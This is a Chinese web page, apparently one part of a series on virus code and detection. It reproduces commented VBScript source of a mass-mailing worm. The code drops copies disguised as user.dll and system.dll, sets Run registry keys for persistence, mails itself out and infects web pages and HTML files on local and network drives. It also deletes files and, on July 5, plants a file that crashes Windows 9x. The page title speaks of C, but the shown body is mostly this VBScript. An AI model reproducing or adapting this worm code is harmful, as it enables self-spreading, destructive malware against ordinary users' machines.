c语言病毒函数 c语言病毒感染检测( 五 )


if getErr then '辨认病毒状态
Randomize '初始化随机种子
ra = int(rnd() * 7) '产生随机数
doucment.write title(ra) ' 写随机内容
ExecuteMail '执行邮件状态时的程序
else
ExecutePage '执行 WEB 页状态时的程序
end if
else
ExecuteVbs '执行 VBS 文件状态时的程序
end if
end sub
Function getErr() 忽略错误
if Err.number0 then
getErr=true
Err.Clear
else
getErr=false
end if
end function
sub ExecutePage() 'WEB 页状态时的程序
on error resume next
dim Html_Str, adi, wdf, wdf2,wdf3,wdsf, wdsf2, vf
Vbs_Str = GetScriptCode("vbscript") '得到 VBScript 代码
Js_Str = GetJavaScript() ' 得到 Javascript 代码
Code_Str = MakeScript(encrypt(Vbs_str),true) '得到已加密过的脚本代码
Html_Str = MakeHtml(encrypt(Vbs_str), true) '得到已加密的完整HTML代码
Gf
'定义病毒文件的路径
wdsf = w2"Mdm.vbs"
wdsf2 = w1"Profile.vbs"
wdf = w2"user.dll" ' 注意 wdf 和 wdf3 两个文件非常迷惑人
wdf2 = w2"Readme.html"
wdf3 = w2"system.dll"
'创建病毒文件
set vf = fso.OpenTextFile (wdf, 2, true)
vf.write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdsf, 2, true)
vf.write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdsf2, 2, true)
vf.Write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdf2, 2, true)
vf.write Html_Str
vf.close
set vf = fso.OpenTextFile (wdf3, 2, true)
vf.write Code_Str
vf.close
修改注册表,让病毒文件在每一次计算机启动自动执行
Writereg MSWKEY"CurrentVersion\Run\Mdm", wdsf, ""
Writereg MSWKEY"CurrentVersion\RunServices\Profile", wdsf2, ""
SendMail ' 执行发送邮件程序
Hackpage ' 执行感染网站程序
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 or x.DrivesType = 3 then '遍历所有本地硬盘和网络共享硬盘
call SearchHTML(x"\") '执行文件感染程序
end if
next
if TestUser then '检查用户
Killhe 执行删除文件操作
else
if Month(Date)Day(Date) = "75" then '如系统时间为 7月5日
set vf = fso.OpenTextFile(w2"75.htm", 2,true) ’创建系统攻击文件
vf.write MakeScript ("window.navigate ('c:/con/con');", false)
vf.close
Writereg MSWKEY"CurrentVersion\Run\75", w2"75.htm", "" '自动启动
window.navigate "c:/con/con" '立刻蓝屏,利用 Windows BUG,能引起 Win9X 系统100%死机(即无法恢复的蓝屏)
else '如不是7.5
if fso.FileExists(w2"75.htm") then fso.DeleteFile w2"75.htm" ' 删除75.htm
end if
end if
if fso.FileExists(defpath) then fso.DeleteFile defpath ' 删除 C:\Readme.html 病毒文件
end sub
sub ExecuteMail() '邮件状态时执行的程序
on error resume next
Vbs_Str = GetScriptCode("vbscript")
Js_Str = GetJavaScript()
Set Stl = CreateObject("Scriptlet.TypeLib") '创建 TypeLib对象
with Stl
.Reset
.Path = defpath
.Doc = MakeHtml(encrypt(Vbs_str), true)
.Write() '创建 C:\Readme.html 文件
end with
window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no" 打开会隐藏的窗口
end sub
sub ExecuteVbs() ' 同理 , 如病毒文件是 VBS 时所执行的程序
on error resume next
dim x, adi, wvbs, ws, vf
set fso = CreateObject("Scripting.FileSystemObject")
set wvbs = CreateObject("WScript.Shell")
Gf
wvbs.RegWrite MSWKEY"Windows Scripting Host\Setings\Timeout", 0, "REG_DWORD"
set vf = fso.OpenTextFile (w2"system.dll", 1)
Code_Str = vf.ReadAll()
vf.close
Hackpage
SendMail
set adi = fso.Drives
for each x in adi

推荐阅读